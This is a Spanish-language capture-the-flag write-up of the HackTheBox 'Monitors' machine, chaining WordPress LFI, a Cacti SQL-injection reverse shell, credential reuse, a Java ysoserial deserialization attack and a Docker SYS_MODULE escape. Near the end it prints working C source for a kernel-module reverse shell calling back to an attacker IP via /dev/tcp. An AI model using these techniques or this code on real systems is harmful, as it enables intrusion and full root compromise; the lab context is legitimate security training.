Monitors - HackTheBox

Comence con escaneo de Nmap para detectar puertos abiertos.

┌──(root💀kali)-[/home/…/HTB/Monitors/machine/nmap]
└─# nmap -sS --min-rate=5000 -vvv -n -Pn --open 10.10.10.238 -o targeted.txt
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Warning: The -o option is deprecated. Please use -oN
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-10 11:33 EDT
Initiating SYN Stealth Scan at 11:33
Scanning 10.10.10.238 [1000 ports]
Discovered open port 80/tcp on 10.10.10.238
Discovered open port 22/tcp on 10.10.10.238
Completed SYN Stealth Scan at 11:33, 0.24s elapsed (1000 total ports)
Nmap scan report for 10.10.10.238
Host is up, received user-set (0.045s latency).
Scanned at 2021-10-10 11:33:47 EDT for 0s
Not shown: 998 closed ports
Reason: 998 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh 	syn-ack ttl 63
80/tcp open  http	syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
       	Raw packets sent: 1000 (44.000KB) | Rcvd: 1000 (40.008KB)

Hice otro escaneo con Nmap para detectar la version de cada puerto y servicio abierto.

┌──(root💀kali)-[/home/…/HTB/Monitors/machine/nmap]
└─# nmap -sCV -p22,80 10.10.10.238 -o webScan.txt                                                                                       	130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-10 11:35 EDT
Nmap scan report for 10.10.10.238
Host is up (0.045s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh 	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
|   256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
|_  256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
80/tcp open  http	Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.95 seconds

Tan solo tenia dos puertos abiertos el servidor, comence enumerando el servidor web, esto es lo que tenia.

Parece que se estaba aplicando virtual hosting, almacenar distintos dominios en una misma IP, para ello abri el /etc/hosts e inclui el dominio monitors.htb.

Ahora si me reporto lo que tenia realmente.

Le hice un whatweb para ver si corria algun CMS.

┌──(root💀kali)-[/home/…/HTB/Monitors/machine/nmap]
└─# whatweb http://monitors.htb/                                                   	 
http://monitors.htb/ [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.238], JQuery, MetaGenerator[WordPress 5.5.1], Script[text/javascript], Title[Welcome to Monitor – Taking hardware monitoring seriously], UncommonHeaders[link], WordPress[5.5.1]

Al parecer era un servidor web con Wordpress instalado, enumerando un poco la web encontre que tenia directory listing de los plugins, encontré uno llamado wp-with-spritz.

Busque en internet si habia algun exploit relacionado con el plugin.

Encontré unos cuantos, me decante por el que estaba publicado en exploit.db.

Viendolo vi que el servidor web era vulnerable a Local File Inclusion, es decir que podia ver archivos locales de la maquina, probe a enumerar el /etc/hosts para confirmar la vulnerablidad.

Efectivamente, podia enumerar archivos, en este caso probe a enumerar el archivo de configuracion de WordPress con curl, estos suelen tener credenciales harcodeadas, tras unos cuantos intentos tratando de dar con la ruta lo encontré.

Algo que me llamo la atencion es que no interpretaba el codigo PHP por lo que no tuve que hacer uso de un “wrapper”.

Ahora bien, probe estas credenciales en el panel de inicio de sesion de WordPress pero no hubo suerte.

Aprovechando la vulnerablidad LFI probe a enumerar el archivo 000-default.conf este archivo podia tener informacion sobre dominios o subdominios que podrian estar operativos en el sistema.

Y si, encontré cacti.monitors.htb, lo inclui en el /etc/hosts y accedi a la web, me reporto un panel de inicio de sesion.

Inmediatamente probe las credenciales que habia conseguido en la enumeracion del archivo de configuracion de WordPress.

Y me autentico.

Ya que sabia la version decidi buscar exploit de este panel y encontré uno que tenia que estar autenticado.

Examinandolo un poco vi que se aprovechaba de una consulta maliciosa SQL para explotar la vulnerabidad, para ganar acceso hace uso de un Shell inverso con mkfifo.

Ejecute el “exploit” haciendo uso de las credenciales de inicio de sesion en el panel, mi IP, el puerto y gane acceso a la maquina.

Hice un tratamiento de la TTY y enumere usuarios, encontré markus operativo en el sistema.

Ya que no tenia capacidad de ver la “flag” del usuario enumere un poco la maquina y encontre un archivo que me llamo la atencion llamado cacti-backup.service, al verlo encontre una ruta que estaba en el directorio de markus, yendo a este directorio vi que habia una carpeta llamada .backup que estaba oculta.

Mirando el archivo llamado backup.sh encontre credenciales en texto claro.

Probe a usarlas para pivotear al usuario markus y funciono.

Ahora ya pude visualizar la “flag” del usuario.

En el directorio principal de markus tambien habia un archivo llamado note.txt, al verlo encontre encontre lo siguiente.

Ponia que deshabilito phpinfo en php.ini pero no actualizo una imagen de Docker, esto me llamo la atencion, pense en que mas adelante podria aprovechar esta informacion para algo, de momento decidi seguir investigando un poco mas la maquina, enumerando permisos SUID no encontré nada interesante.

La maquina tambien tenia conectividad por SSH con las credenciales encontradas anteriormente, me quede con esta Shell.

Enumerando un poco mas encontre un servidor web en la maquina corriendo por el puerto 8443.

Esto me llamo mucho la atencion por lo que decidi ver lo que tenia, para ello tuve que hacer un port forwarding para tener el puerto abierto en mi localhost, como la maquina tenia SSH lo hice con ello.

Y me encontre lo siguiente en el servidor web.

Hice fuzzing con gobuster y encontré distintas directorios.

Al acceder a manufakturing me hizo un “redirect” a un panel de “login”.

Podia ver la version que se estaba empleando.

Decidi hacer una busqueda de exploits por internet.

Encontre que era a un vulnerable a deserializacion insegura de Java, un “ysoserial” en toda regla.

Para verificar si era vulnearble el servidor a este ataque accedí a la siguiente ruta /webtools/corol/xmlrpc, encontre que si existia.

Lo que hice para explotar esta vulnearbilidad es seguir los pasos del “exploit” de manera manual.

Primeramente me descargue el ysoserial en mi maquina y cree un archivo en bash llamado shell.sh con un Shell inverso, cree la carga util que me iba a permitir descargar el archivo shell.sh y exportarlo a una ruta con capacidad de escritura.

Abrí un servidor web con Python alojando shell.sh y envie una peticion por POST con la carga util creada anteriormente con el ysoserial.

Recibi una peticion GET en mi servidor, esto era buena señal, cree una carga util mas haciendo que me ejecute shell.sh para recibir un Shell inverso, puse el puerto 443 en escucha con netcat e hice otra peticion POST con la nueva carga util.

Recibi otra vez una peticion GET a mi servidor.

Y gane acceso al sistema por netcat.

Viendo mi IP encontré que estaba en un contenedor Docker.

Recondando la nota de antes, decia: “update docker image for production use”, esta tarea la reportada como “no hecha”, pense en que podria ser una pista de algo, enumerando bien la maquina encontre una “capability” de docker de la cual me podia aprovechar de ella.

SYS_MODULE, decidi buscar informacion sobre una posible escalada de privilegios.

Para aprovecharme de dicha “capability” la idea era crearse un modulo de kernel malicioso, para ello lo primero era crear un programa para invocar el Shell inverso, lo hice con el siguiente codigo hecho en c y lo llame reverse-shell.c.

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.16.32/443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Seguidamente hay que crear un MakeFile para compilar el modulo de kernel, para ello hice uso del siguiente codigo.

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Ahora solamente compile el modulo de kernel con make en la maquina victima, me puse en escucha con nc por el puerto 443 y le hice un insmod al archivo reverse-shell.ko exportado por la compilacion, y ya gane acceso al sistema desde nc, ya pude visualizar la “flag” de root.